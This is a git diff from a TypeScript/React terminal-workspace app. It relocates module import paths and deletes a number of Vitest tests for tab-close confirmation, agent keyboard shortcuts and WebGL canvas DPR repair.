-        isVisible: true,
-        isChatViewMode: false,
-        managerRef,
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true }
-      })
-    )
-
-    vi.stubGlobal('devicePixelRatio', 2)
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).not.toHaveBeenCalled()
-
-    managerRef.current = { getPanes: () => [pane] } as unknown as PaneManager
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledWith(pane)
-  })
-
-  it('deduplicates a deferred dpr retry and consumes it after repair succeeds', () => {
-    const pane = { id: 1, terminal: {} }
-    const callbacks: FrameRequestCallback[] = []
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      callbacks.push(callback)
-      return callbacks.length
-    })
-    vi.stubGlobal('devicePixelRatio', 1)
-    repairPaneWebglCanvasDprMock.mockReturnValueOnce('deferred').mockReturnValue('repaired')
-    renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible: true,
-        isChatViewMode: false,
-        managerRef: { current: { getPanes: () => [pane] } as unknown as PaneManager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true }
-      })
-    )
-
-    vi.stubGlobal('devicePixelRatio', 2)
-    window.dispatchEvent(new Event('resize'))
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledTimes(1)
-    expect(callbacks).toHaveLength(1)
-
-    callbacks.shift()?.(performance.now())
-    expect(presentPaneViewportMock).toHaveBeenCalledWith(pane)
-    window.dispatchEvent(new Event('resize'))
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledTimes(2)
-  })
-
-  it('caps a deferred dpr transition at sixteen animation-frame retries', () => {
-    const pane = { id: 1, terminal: {} }
-    const callbacks: FrameRequestCallback[] = []
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      callbacks.push(callback)
-      return callbacks.length
-    })
-    vi.stubGlobal('devicePixelRatio', 1)
-    repairPaneWebglCanvasDprMock.mockReturnValue('deferred')
-    renderHook(() =>
-      useTerminalWindowWakeRecovery({
-        isVisible: true,
-        isChatViewMode: false,
-        managerRef: { current: { getPanes: () => [pane] } as unknown as PaneManager },
-        isActiveRef: { current: true },
-        isVisibleRef: { current: true }
-      })
-    )
-
-    vi.stubGlobal('devicePixelRatio', 2)
-    window.dispatchEvent(new Event('resize'))
-    let callbackCount = 0
-    while (callbacks.length > 0) {
-      callbacks.shift()?.(performance.now())
-      callbackCount += 1
-    }
-
-    expect(callbackCount).toBe(16)
-    expect(repairPaneWebglCanvasDprMock).toHaveBeenCalledTimes(17)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.ts
index 3de13d569f4..23bf5c20bf2 100644
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.ts
@@ -1,8 +1,8 @@
 import { useEffect } from 'react'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import { recoverVisibleTerminalWindowWake } from './terminal-visibility-resume'
-import { repairPaneWebglCanvasDpr } from '@/lib/pane-manager/terminal-canvas-dpr-repair'
-import { presentPaneViewport } from '@/lib/pane-manager/pane-viewport-present'
+import { repairPaneWebglCanvasDpr } from '@/lib/pane-manager/terminal-rendering/terminal-canvas-dpr-repair'
+import { presentPaneViewport } from '@/lib/pane-manager/terminal-rendering/pane-viewport-present'
 import { recordTerminalFreezeBreadcrumb } from '../../render-health/diagnostics/terminal-freeze-breadcrumbs'
 import type { IDisposable } from '@xterm/xterm'
 import { activePaneIsCoveredByNativeChat } from '../../chat/native-chat-covered-pane'
diff --git a/src/renderer/src/components/terminal-workspace-keydown.test.ts b/src/renderer/src/components/terminal-workspace-keydown.test.ts
index a93b6b9c5f6..ddf59e58904 100644
--- a/src/renderer/src/components/terminal-workspace-keydown.test.ts
+++ b/src/renderer/src/components/terminal-workspace-keydown.test.ts
@@ -1,12 +1,12 @@
 // @vitest-environment happy-dom
 
-import { act, cleanup, renderHook } from '@testing-library/react'
+import '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { handleSwitchTabAcrossAllTypes } from '../hooks/ipc-tab-switch'
-import { switchFloatingWorkspaceTab } from '@/components/floating-terminal/floating-workspace-terminal-actions'
-import { createFloatingWorkspaceTerminalTab } from '@/components/floating-terminal/floating-workspace-tab-creation'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
-import { dispatchWorkspaceTabCommand } from '@/lib/workspace/tabs/workspace-tab-commands'
+import '../hooks/ipc-tab-switch'
+import '@/components/floating-terminal/floating-workspace-terminal-actions'
+import '@/components/floating-terminal/floating-workspace-tab-creation'
+import '@/lib/notifications/terminal-shortcut-capture-notification'
+import '@/lib/workspace/tabs/workspace-tab-commands'
 import type { Tab } from '../../../shared/tab-types'
 import { useRunningTerminalCloseConfirmStore } from '@/store/slices/tabs/closing/running-terminal-close-confirm'
 import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../../shared/constants'
@@ -14,19 +14,19 @@ import {
   ORCA_EDITOR_REQUEST_CMD_SAVE_EVENT,
   type EditorRequestCmdSaveDetail
 } from './editor/autosave/editor-autosave'
-import { createTestStore } from '@/store/testing/app-store-test-fixture'
-import { TEST_REPO } from '@/store/repos/repo.test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import { useTerminalKeyboardShortcuts } from './use-terminal-keyboard-shortcuts'
-import { agentMenuShortcutLabels } from './tab-bar/agent-menu-shortcut-labels'
+import '@/store/testing/app-store-test-fixture'
+import '@/store/repos/repo.test-fixture'
+import '@/store/slices/worktrees/worktree.test-fixture'
+import './use-terminal-keyboard-shortcuts'
+import './tab-bar/agent-menu-shortcut-labels'
 import { handleTerminalWorkspaceKeyDown } from './terminal-workspace-keydown'
 import type { TerminalActivationController } from './use-terminal-activation-actions'
 import type * as AgentTabShortcuts from './terminal-agent-tab-shortcut'
-import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
+
 import type { TerminalAgentTabShortcut } from './terminal-agent-tab-shortcut'
-import { useTerminalBulkCloseActions } from './use-terminal-bulk-close-actions'
-import { makeOpenFile } from '../store/slices/editor/types/open-file.test-fixture'
-import { makeUnifiedTab } from '../store/slices/tabs/tab-group.test-fixture'
+import './use-terminal-bulk-close-actions'
+import '../store/slices/editor/types/open-file.test-fixture'
+import '../store/slices/tabs/tab-group.test-fixture'
 
 const confirmBulkClose = vi.hoisted(() => vi.fn<() => Promise<boolean>>())
 vi.mock('./confirmation-dialog-context', () => ({
@@ -57,7 +57,7 @@ vi.mock('@/lib/agent-session/structured-agent-session-busy', async () => ({
   ).admissionFromBusy(mocks.structuredSessionBusy)
 }))
 
-vi.mock('../store', () => ({ useAppStore: { getState: () => mocks.state } }))
+vi.mock('../store/index', () => ({ useAppStore: { getState: () => mocks.state } }))
 vi.mock('../hooks/ipc-tab-switch', () => ({
   handleSwitchRecentTab: vi.fn(),
   handleSwitchTab: vi.fn(),
@@ -75,7 +75,7 @@ vi.mock('@/components/floating-terminal/floating-workspace-tab-creation', () =>
   createFloatingWorkspaceMarkdownTab: vi.fn(),
   createFloatingWorkspaceTerminalTab: vi.fn()
 }))
-vi.mock('@/lib/terminal-shortcut-capture-notification', () => ({
+vi.mock('@/lib/notifications/terminal-shortcut-capture-notification', () => ({
   showTerminalShortcutCaptureNotification: vi.fn()
 }))
 vi.mock('./terminal-agent-tab-shortcut', async (importOriginal) => {
@@ -212,67 +212,6 @@ describe('tab.close uses the unified active tab', () => {
     useRunningTerminalCloseConfirmStore.getState().dismissRunningTerminalClose()
   })
 
-  function close(platform: NodeJS.Platform = 'darwin', terminalFocus = false): KeyboardEvent {
-    const target = document.createElement('textarea')
-    if (terminalFocus) {
-      target.classList.add('xterm-helper-textarea')
-    }
-    const event = new KeyboardEvent('keydown', {
-      key: 'w',
-      metaKey: platform === 'darwin',
-      ctrlKey: platform !== 'darwin',
-      cancelable: true
-    })
-    Object.defineProperty(event, 'target', { value: target })
-    handleTerminalWorkspaceKeyDown(event, controller, platform)
-    return event
-  }
-
-  it.each(
-    (['darwin', 'win32', 'linux'] as const).flatMap((platform) =>
-      [false, true].map((busy) => ({ platform, busy }))
-    )
-  )('routes native chat close on $platform with busy=$busy', async ({ platform, busy }) => {
-    mocks.structuredSessionBusy.mockReturnValue(busy)
-    expect(close(platform).defaultPrevented).toBe(true)
-    if (busy) {
-      expect(closeUnifiedTab).not.toHaveBeenCalled()
-      useRunningTerminalCloseConfirmStore.getState().confirmRunningTerminalClose()
-    }
-    await vi.waitFor(() => expect(closeUnifiedTab).toHaveBeenCalledWith(tab.id))
-    // Why: the unified store action owns cancellation and host retirement for every close path.
-    expect(mocks.closeStructuredAgentSession).not.toHaveBeenCalled()
-    expect(mocks.callRuntimeRpc).not.toHaveBeenCalled()
-    expect(mocks.cancelStructuredAgentLaunch).not.toHaveBeenCalled()
-    expect(mocks.closeTerminalTab).not.toHaveBeenCalled()
-  })
-
-  it('leaves a focused terminal split pane to its pane close handler', () => {
-    tab.contentType = 'terminal'
-    expect(close('darwin', true).defaultPrevented).toBe(false)
-    expect(mocks.closeTerminalTab).not.toHaveBeenCalled()
-  })
-
-  it('waits for pinned-tab then active-work confirmation before closing', () => {
-    tab.isPinned = true
-    mocks.structuredSessionBusy.mockReturnValue(true)
-    close()
-    expect(mocks.closeStructuredAgentSession).not.toHaveBeenCalled()
-    expect(closeUnifiedTab).not.toHaveBeenCalled()
-    const request = vi.mocked(mocks.state.requestPinnedTabCloseConfirm as ReturnType<typeof vi.fn>)
-      .mock.calls[0][0]
-    expect(useRunningTerminalCloseConfirmStore.getState().runningTerminalCloseConfirm).toBeNull()
-    request.onConfirm()
-    expect(closeUnifiedTab).not.toHaveBeenCalled()
-    expect(
-      useRunningTerminalCloseConfirmStore.getState().runningTerminalCloseConfirm
-    ).toMatchObject({
-      copyKind: 'chat-agent'
-    })
-    useRunningTerminalCloseConfirmStore.getState().confirmRunningTerminalClose()
-    expect(closeUnifiedTab).toHaveBeenCalledExactlyOnceWith(tab.id)
-  })
-
   it('leaves the chord to an agent terminal preview dialog over a workspace editor', () => {
     tab.contentType = 'editor'
     const preview = document.createElement('div')
@@ -286,358 +225,4 @@ describe('tab.close uses the unified active tab', () => {
     expect(event.defaultPrevented).toBe(false)
     expect(closeUnifiedTab).not.toHaveBeenCalled()
   })
-
-  it('does not close the main workspace tab while the floating panel owns focus', () => {
-    mocks.floatingFocused = true
-    expect(close().defaultPrevented).toBe(false)
-    expect(mocks.closeStructuredAgentSession).not.toHaveBeenCalled()
-  })
-
-  it('does not substitute the ambient tab for a stale explicit target', () => {
-    expect(
-      dispatchWorkspaceTabCommand({
-        type: 'close',
-        target: { kind: 'tab', worktreeId, tabId: 'removed' }
-      })
-    ).toBe(false)
-    expect(mocks.closeStructuredAgentSession).not.toHaveBeenCalled()
-  })
-
-  it('does not close another group from an empty focused split', () => {
-    mocks.state.getActiveTab = () => null
-    mocks.state.activeGroupIdByWorktree = { [worktreeId]: 'empty-group' }
-    mocks.state.groupsByWorktree = { [worktreeId]: [{ id: 'empty-group', activeTabId: null }] }
-    tab.contentType = 'terminal'
-    mocks.state.activeTabId = tab.entityId
-    expect(close().defaultPrevented).toBe(false)
-    expect(mocks.closeTerminalTab).not.toHaveBeenCalled()
-  })
-
-  it('closes only the focused copy of an editor shared between split groups', () => {
-    tab.contentType = 'editor'
-    mocks.state.unifiedTabsByWorktree = {
-      [worktreeId]: [tab, { ...tab, id: 'left-copy', groupId: 'left-group' }]
-    }
-    close()
-    expect(closeUnifiedTab).toHaveBeenCalledWith(tab.id)
-    expect(closeFile).not.toHaveBeenCalled()
-  })
-})
-
-describe('shared tab navigation routing', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.floatingFocused = false
-    mocks.targetInsideFloatingPanel = false
-    mocks.state = { activeWorktreeId: controller.activeWorktreeId }
-  })
-
-  function nextTab(repeat = false): KeyboardEvent {
-    const event = new KeyboardEvent('keydown', {
-      key: ']',
-      metaKey: true,
-      shiftKey: true,
-      cancelable: true,
-      repeat
-    })
-    handleTerminalWorkspaceKeyDown(event, controller, 'darwin')
-    return event
-  }
-
-  it('claims a held tab chord on every repeat but switches once', () => {
-    nextTab()
-    const repeat = nextTab(true)
-    expect(repeat.defaultPrevented).toBe(true)
-    expect(handleSwitchTabAcrossAllTypes).toHaveBeenCalledTimes(1)
-  })
-
-  it('routes both entry points to the floating panel when it owns focus', () => {
-    mocks.floatingFocused = true
-    nextTab()
-    dispatchWorkspaceTabCommand({ type: 'switch', direction: 1, scope: 'all-types' })
-    expect(switchFloatingWorkspaceTab).toHaveBeenCalledTimes(2)
-    expect(switchFloatingWorkspaceTab).toHaveBeenLastCalledWith(mocks.state, 1, 'all-types')
-    expect(handleSwitchTabAcrossAllTypes).not.toHaveBeenCalled()
-  })
-
-  it('routes a tab chord to the floating panel when its event target is inside it', () => {
-    mocks.targetInsideFloatingPanel = true
-    nextTab()
-    expect(switchFloatingWorkspaceTab).toHaveBeenCalledWith(mocks.state, 1, 'all-types')
-    expect(handleSwitchTabAcrossAllTypes).not.toHaveBeenCalled()
-  })
-})
-
-describe('tab.closeAll confirmation', () => {
-  const worktreeId = controller.activeWorktreeId!
-  const closeFile = vi.fn()
-  const closeUnifiedTabs = vi.fn()
-  const queueEditorCloseRequests = vi.fn()
-  let settle: (confirmed: boolean) => void
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.floatingFocused = false
-    mocks.targetInsideFloatingPanel = false
-    mocks.state = {
-      activeView: 'terminal',
-      activeTabType: 'editor',
-      openFiles: [makeOpenFile({ id: 'file-1', worktreeId })],
-      editorBufferIdOf: {},
-      editorBufferViews: {},
-      unifiedTabsByWorktree: {
-        [worktreeId]: [
-          makeUnifiedTab({
-            id: 'file-tab',
-            entityId: 'file-1',
-            worktreeId,
-            groupId: 'group',
-            contentType: 'editor'
-          })
-        ]
-      },
-      closeUnifiedTabs,
-      getActiveTab: () => null
-    }
-    confirmBulkClose.mockImplementation(
-      () =>
-        new Promise((resolve) => {
-          settle = resolve
-        })
-    )
-  })
-  afterEach(cleanup)
-
-  function closeAll(platform: NodeJS.Platform = 'darwin') {
-    const { result } = renderHook(() =>
-      useTerminalBulkCloseActions({
-        activeWorktreeId: worktreeId,
-        closeFile,
-        queueEditorCloseRequests,
-        closeTab: vi.fn(),
-        closeBrowserTab: vi.fn()
-      })
-    )
-    const event = new KeyboardEvent('keydown', {
-      key: 'w',
-      code: 'KeyW',
-      altKey: true,
-      cancelable: true,
-      metaKey: platform === 'darwin',
-      ctrlKey: platform !== 'darwin'
-    })
-    act(() => handleTerminalWorkspaceKeyDown(event, { ...controller, ...result.current }, platform))
-    return result
-  }
-
-  it.each(['darwin', 'linux', 'win32'] as const)(
-    'waits for confirmation before closing files from the %s shortcut',
-    async (platform) => {
-      closeAll(platform)
-      expect(confirmBulkClose).toHaveBeenCalledExactlyOnceWith(
-        expect.objectContaining({
-          title: 'Close all editor tabs?'
-        })
-      )
-      expect(closeFile).not.toHaveBeenCalled()
-      await act(async () => {
-        settle(true)
-      })
-      expect(closeUnifiedTabs).toHaveBeenCalledExactlyOnceWith(['file-tab'])
-    }
-  )
-
-  it('does not close files when the shortcut confirmation is cancelled', async () => {
-    closeAll()
-    await act(async () => {
-      settle(false)
-    })
-    expect(closeFile).not.toHaveBeenCalled()
-    expect(queueEditorCloseRequests).not.toHaveBeenCalled()
-  })
-
-  it('queues newly dirty files without closing files created after the request', async () => {
-    closeAll()
-    mocks.state.openFiles = [
-      makeOpenFile({ id: 'file-1', worktreeId, isDirty: true }),
-      makeOpenFile({ id: 'new-file', worktreeId })
-    ]
-    await act(async () => {
-      settle(true)
-    })
-    expect(closeFile).not.toHaveBeenCalled()
-    expect(queueEditorCloseRequests).toHaveBeenCalledExactlyOnceWith(['file-tab'])
-  })
-
-  it('skips files pinned while shortcut confirmation is pending', async () => {
-    closeAll()
-    mocks.state.unifiedTabsByWorktree = {
-      [worktreeId]: [
-        makeUnifiedTab({
-          id: 'pinned-view',
-          entityId: 'file-1',
-          worktreeId,
-          groupId: 'group',
-          contentType: 'editor',
-          isPinned: true
-        })
-      ]
-    }
-    await act(async () => {
-      settle(true)
-    })
-    expect(queueEditorCloseRequests).not.toHaveBeenCalled()
-    expect(closeFile).not.toHaveBeenCalled()
-  })
-})
-
-describe('agent tab shortcuts', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.floatingFocused = false
-    mocks.state = {
-      activeGroupIdByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: 'floating-group' },
-      groupsByWorktree: {}
-    }
-    mocks.resolveAgentShortcut.mockReturnValueOnce({
-      actionId: 'tab.newAgent.claude',
-      agent: 'claude'
-    })
-  })
-
-  function pressAgentShortcut(): void {
-    handleTerminalWorkspaceKeyDown(
-      new KeyboardEvent('keydown', { key: '1', ctrlKey: true, cancelable: true }),
-      controller,
-      'darwin'
-    )
-  }
-
-  it('opens the agent in the floating workspace when its panel owns focus', () => {
-    mocks.floatingFocused = true
-
-    pressAgentShortcut()
-
-    expect(mocks.resolveAgentShortcut).toHaveBeenCalledWith(
-      expect.objectContaining({ activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID })
-    )
-    expect(mocks.launchAgentInNewTab).toHaveBeenCalledExactlyOnceWith(
-      expect.objectContaining({
-        agent: 'claude',
-        worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-        groupId: 'floating-group'
-      })
-    )
-  })
-})
-
-describe('agent shortcut delivery and deferred ownership', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mocks.resolveAgentShortcut.mockReset()
-    mocks.floatingFocused = false
-    const store = createTestStore()
-    store.setState({
-      activeWorktreeId: controller.activeWorktreeId,
-      repos: [TEST_REPO],
-      worktreesByRepo: {
-        [TEST_REPO.id]: [makeWorktree({ id: controller.activeWorktreeId!, repoId: TEST_REPO.id })]
-      },
-      detectedAgentIds: ['codex'],
-      settings: { ...store.getState().settings!, nativeChatProviders: {} }
-    })
-    mocks.state = { ...store.getState() }
-  })
-  afterEach(cleanup)
-
-  it.each([false, true])(
-    'opens a terminal from a focused terminal through the shared resolver (floating: %s)',
-    (floating) => {
-      mocks.resolveAgentShortcut.mockImplementation(mocks.actualResolveAgentShortcut)
-      mocks.floatingFocused = floating
-      const press = (repeat: boolean): KeyboardEvent => {
-        const target = document.createElement('textarea')
-        target.classList.add('xterm-helper-textarea')
-        const event = new KeyboardEvent('keydown', {
-          key: 't',
-          code: 'KeyT',
-          metaKey: true,
-          cancelable: true,
-          repeat
-        })
-        Object.defineProperty(event, 'target', { value: target })
-        handleTerminalWorkspaceKeyDown(event, controller, 'darwin')
-        return event
-      }
-      expect(press(true).defaultPrevented).toBe(false)
-      expect(press(false).defaultPrevented).toBe(true)
-      expect(showTerminalShortcutCaptureNotification).toHaveBeenCalledExactlyOnceWith(
-        expect.objectContaining({ actionId: 'tab.newTerminal' })
-      )
-      expect(createFloatingWorkspaceTerminalTab).toHaveBeenCalledTimes(floating ? 1 : 0)
-      expect(controller.handleNewTab).toHaveBeenCalledTimes(floating ? 0 : 1)
-      expect(mocks.launchAgentInNewTab).not.toHaveBeenCalled()
-    }
-  )
-
-  it('omits an undelivered double-tap gesture while a real ordinary chord still launches', () => {
-    mocks.resolveAgentShortcut.mockImplementation(mocks.actualResolveAgentShortcut)
-    const keys = { 'tab.newAgent': [], 'tab.newAgent.codex': ['DoubleTap+Ctrl', 'Mod+Shift+X'] }
-    renderHook(() => useTerminalKeyboardShortcuts({ ...controller, keybindings: keys }))
-    for (let tap = 0; tap < 2; tap++) {
-      window.dispatchEvent(
-        new KeyboardEvent('keydown', { key: 'Control', code: 'ControlLeft', ctrlKey: true })
-      )
-      window.dispatchEvent(new KeyboardEvent('keyup', { key: 'Control', code: 'ControlLeft' }))
-    }
-    expect(mocks.launchAgentInNewTab).not.toHaveBeenCalled()
-    expect(agentMenuShortcutLabels(controller.activeWorktreeId!, keys, 'linux').get('codex')).toBe(
-      'Ctrl+⇧+X'
-    )
-    window.dispatchEvent(
-      new KeyboardEvent('keydown', {
-        key: 'x',
-        code: 'KeyX',
-        ctrlKey: true,
-        shiftKey: true,
-        cancelable: true
-      })
-    )
-    expect(mocks.launchAgentInNewTab).toHaveBeenCalledExactlyOnceWith(
-      expect.objectContaining({ agent: 'codex' })
-    )
-  })
-
-  it.each(['workspace', 'host'])(
-    'drops a pending ordinary launch after its %s changed',
-    async (changed) => {
-      const detection = Promise.withResolvers<TuiAgent | null>()
-      mocks.resolveAgentShortcut.mockReturnValue({
-        actionId: 'tab.newAgent',
-        agent: null,
-        pendingAgent: detection.promise
-      })
-      handleTerminalWorkspaceKeyDown(
-        new KeyboardEvent('keydown', { key: 't', metaKey: true, altKey: true }),
-        controller,
-        'darwin'
-      )
-      if (changed === 'workspace') {
-        mocks.state.activeWorktreeId = 'another-workspace'
-      } else {
-        mocks.state.worktreesByRepo = {
-          [TEST_REPO.id]: [
-            makeWorktree({
-              id: controller.activeWorktreeId!,
-              repoId: TEST_REPO.id,
-              hostId: 'runtime:other'
-            })
-          ]
-        }
-      }
-      detection.resolve('codex')
-      await detection.promise
-      expect(mocks.launchAgentInNewTab).not.toHaveBeenCalled()
-    }
-  )
 })
diff --git a/src/renderer/src/components/terminal-workspace-keydown.ts b/src/renderer/src/components/terminal-workspace-keydown.ts
index 93c3573d375..506a29320fb 100644
--- a/src/renderer/src/components/terminal-workspace-keydown.ts
+++ b/src/renderer/src/components/terminal-workspace-keydown.ts
@@ -1,9 +1,9 @@
 import { toast } from 'sonner'
 import { dispatchWorkspaceTabCommand } from '@/lib/workspace/tabs/workspace-tab-commands'
-import type { KeybindingActionId } from '../../../shared/keybindings'
 import { keybindingMatchesAction } from '../../../shared/keybindings'
+import type { KeybindingActionId } from '../../../shared/keybindings'
 import { matchesRecentTabSwitcherChord } from '../../../shared/window-shortcut-policy'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import {
   handleEmptyFloatingWorkspacePanelCloseShortcut,
   isEventTargetInsideFloatingWorkspacePanel,
@@ -14,11 +14,11 @@ import {
   createFloatingWorkspaceMarkdownTab,
   createFloatingWorkspaceTerminalTab
 } from '@/components/floating-terminal/floating-workspace-tab-creation'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
 import {
   ensureClientCreationActionAllowed,
   showClientCreationActionError
-} from '@/lib/client-creation-action-error'
+} from '@/lib/workspace/creation/surface-policy/client-creation-action-error'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
 import { translate } from '@/i18n/i18n'
 import { getKeybindingContext } from './terminal-workspace-model'
diff --git a/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts b/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts
index a4731ce4c9e..466681cad5c 100644
--- a/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts
+++ b/src/renderer/src/components/terminal/background-terminal-worktree-mount.ts
@@ -1,9 +1,7 @@
-import {
-  BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT,
-  type BackgroundMountTerminalWorktreeDetail
-} from '@/constants/terminal'
+import { BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT } from '@/constants/terminal'
+import type { BackgroundMountTerminalWorktreeDetail } from '@/constants/terminal'
 import { parseExecutionHostId } from '../../../../shared/execution-host'
-import { requestSleepingAgentWakeOnMount } from '@/lib/sleeping-agent-wake-requests'
+import { requestSleepingAgentWakeOnMount } from '@/lib/agent-session/resume/sleeping-agent-wake-requests'
 
 const pendingMounts = new Map<string, BackgroundMountTerminalWorktreeDetail>()
 const requestListeners = new Set<() => void>()
diff --git a/src/renderer/src/components/terminal/initial-terminal-admission-wait.test.tsx b/src/renderer/src/components/terminal/initial-terminal-admission-wait.test.tsx
deleted file mode 100644
index 1e7904aff1e..00000000000
--- a/src/renderer/src/components/terminal/initial-terminal-admission-wait.test.tsx
+++ /dev/null
@@ -1,304 +0,0 @@
-// @vitest-environment happy-dom
-import type * as ParkedWatcherRegistryModule from '../terminal-pane/parking/output-watchers/terminal-parked-watcher-registry'
-import { act, createElement } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi, type MockInstance } from 'vitest'
-import type { AppState } from '@/store/types'
-import type { StructuredAgentLaunchSettlement } from '@/lib/agent-session/launch/continuation/structured-agent-launch-settlement'
-
-const mocks = vi.hoisted(() => {
-  const answers: ((support: unknown) => void)[] = []
-  return {
-    gate: vi.fn(),
-    createTab: vi.fn(),
-    createUnifiedTab: vi.fn<AppState['createUnifiedTab']>(),
-    begin: vi.fn<AgentSessionLaunchPlan['begin']>(),
-    answers
-  }
-})
-
-const owner = vi.hoisted((): { store: ReturnType<typeof createTestStore> | null } => ({
-  store: null
-}))
-vi.mock('@/store', async () => {
-  const module = (await import('@/lib/launch-parity-renderer.test-fixture')).launchStoreModuleMock(
-    owner
-  )
-  return {
-    useAppStore: Object.assign(
-      (selector: (state: AppState) => unknown) => owner.store!(selector),
-      module.useAppStore
-    )
-  }
-})
-vi.mock('@/lib/workspace/activation/worktree-agent-activation-gate', () => ({
-  gateWorktreeAgentActivation: mocks.gate
-}))
-vi.mock('@/lib/agent-session/resume/resume-sleeping-agent-session', () => ({
-  resumeSleepingAgentSessionsForWorktree: vi.fn()
-}))
-vi.mock('@/lib/workspace/ownership/workspace-terminal-host-authority', () => ({
-  createWorkspaceTerminalHostAuthoritySelector: () => () => 'none'
-}))
-vi.mock('../terminal-pane/parking/output-watchers/terminal-parked-tab-watchers', () => ({
-  syncParkedTerminalTabWatchersForWorkspaces: vi.fn()
-}))
-
-vi.mock(
-  '../terminal-pane/parking/output-watchers/terminal-parked-watcher-registry',
-  async (importOriginal) => ({
-    ...(await importOriginal<typeof ParkedWatcherRegistryModule>()),
-    pruneParkedTerminalWatchers: vi.fn(),
-    terminalWatcherLiveWorkspaceIds: () => new Set(),
-    disposeAllParkedTerminalWatchers: vi.fn()
-  })
-)
-vi.mock('../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: (_target: unknown, method: string) =>
-    method === 'agentSession.createSupport'
-      ? new Promise((resolve) => {
-          const answer = (support: unknown) => {
-            mocks.answers.splice(mocks.answers.indexOf(answer), 1)
-            resolve(support)
-          }
-          mocks.answers.push(answer)
-        })
-      : new Promise(() => undefined)
-}))
-
-// Main answers the window's chat-tab open (switch-on builds).
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-import { createTestStore, seedStore } from '@/store/testing/app-store-test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { isPendingTab } from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
-import { useTerminalWatcherEffects } from '../use-terminal-watcher-effects'
-import { beginStructuredAgentSessionProvisionalLaunch } from '@/lib/agent-session/structured-agent-session-provisional-tab'
-import { isEmptyWorkspaceDefaultSurfacePending } from '@/lib/workspace/activation/initial-surface/empty-workspace-default-surface-claims'
-import type { AgentSessionLaunchPlan } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-
-Object.assign(globalThis, { IS_REACT_ACT_ENVIRONMENT: true })
-let root: Root | undefined
-
-let main: TabsDrawnFromMain
-let warnings: MockInstance<typeof console.warn>
-const owned: {
-  launch: NonNullable<ReturnType<typeof beginStructuredAgentSessionProvisionalLaunch>>
-  done: boolean
-}[] = []
-const begins: { finish: () => void; cancel: ReturnType<typeof vi.fn> }[] = []
-beforeEach(async () => {
-  vi.resetAllMocks()
-  owner.store = createTestStore()
-  seedStore(owner.store, {
-    worktreesByRepo: { repo: [makeWorktree({ id: 'wt-1', repoId: 'repo' })] },
-    activeWorktreeId: 'wt-1'
-  })
-  mocks.createUnifiedTab.mockImplementation(owner.store.getState().createUnifiedTab)
-  owner.store.setState({ createUnifiedTab: mocks.createUnifiedTab })
-  expect(owner.store.getState().readLocalAgentInventory('wt-1')).toEqual({
-    ids: null,
-    state: 'pending'
-  })
-  main = await drawTabsFromMain(owner.store)
-  warnings = vi.spyOn(console, 'warn')
-})
-
-afterEach(async () => {
-  await act(async () => root?.unmount())
-  root = undefined
-  for (const entry of owned) {
-    if (!entry.done) {
-      entry.launch.cancel()
-    }
-  }
-  while (mocks.answers.length) {
-    mocks.answers[0]!({ supported: false })
-  }
-  for (const begin of begins.splice(0)) {
-    begin.finish()
-  }
-  await Promise.all(owned.splice(0).map(({ launch }) => launch.settlement))
-  await main.settle()
